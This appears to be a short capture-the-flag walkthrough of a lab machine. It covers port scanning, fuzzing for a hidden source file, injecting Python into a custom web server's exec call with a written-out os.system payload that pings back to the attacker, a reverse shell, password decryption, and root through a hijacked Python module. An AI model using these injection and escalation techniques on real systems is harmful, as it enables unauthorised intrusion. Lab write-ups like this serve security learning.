From Nmap ports 22,80 and 8080 are open. port 80 does nothing. port 8080 is a web server, and is a custom webserver. At the home page of the website there is a message which says Message to server devs: the current source code for the web server is in 'SuperSecyreServer.py' in the secret development directory.
I run wfuzz to find the dir only because I already know the filename.
I find the file located at /develop/
After reading the code I found an rce on these lines of the code.
The path gets inside the exec function. So If I send inside the path something like /';os.system("ping IP");' given that the os library is already imported by the script I get code execution? Let’s try to send that but encoded.
I use https://www.urlencoder.org/ and encode this command ';os.system("ping 10.10.14.81");' and on my box I listen for any ping request using tcpdump -i tun0 -n icmp
I immediately get a request back.
I get a reverse shell, inside /home/robert folder I find a python script which encrypts and decrypts files and some files. I type this command and get a password. python3 SuperSecureCrypt.py -i out.txt -o /tmp/d.txt -k "$(cat check.txt)" -d the password is alexandrovich, now I decrypt the passwordreminder with this password. the command is python3 SuperSecureCrypt.py -i passwordreminder.txt -o /tmp/a.txt -k "alexandrovich" -d
I use this password to ssh into the box, as robert user.
Root
After a bit of enumerating inside the box, I finally find that I can run this python script as root.
I can rename that folder to something else and then create the folder with the same name and the python script with the same name, and then execute the command to get a reverse shell.